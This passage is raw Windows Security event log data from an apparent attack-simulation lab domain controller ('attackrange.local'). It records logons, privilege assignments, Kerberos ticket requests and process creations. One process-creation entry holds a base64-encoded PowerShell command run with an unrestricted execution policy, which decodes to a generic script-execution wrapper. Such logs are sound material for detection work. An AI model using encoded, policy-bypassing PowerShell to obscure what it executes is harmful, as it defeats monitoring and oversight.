auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251561 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13A451 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251560 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13A451 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251559 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251558 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251557 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251556 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1170 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1290 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251555 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x139A5C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251554 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x139A5C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64536 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251553 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x139A5C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251552 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13999F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251551 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13999F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64535 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251550 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13999F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251549 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1398F2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251548 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1398F2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64534 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251547 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1398F2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251546 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x139846 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251545 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x139846 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64533 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251544 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x139846 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251543 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1290 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1218 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251542 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x138E21 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251541 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x138E21 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251540 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251539 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251538 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251537 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1218 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10c8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 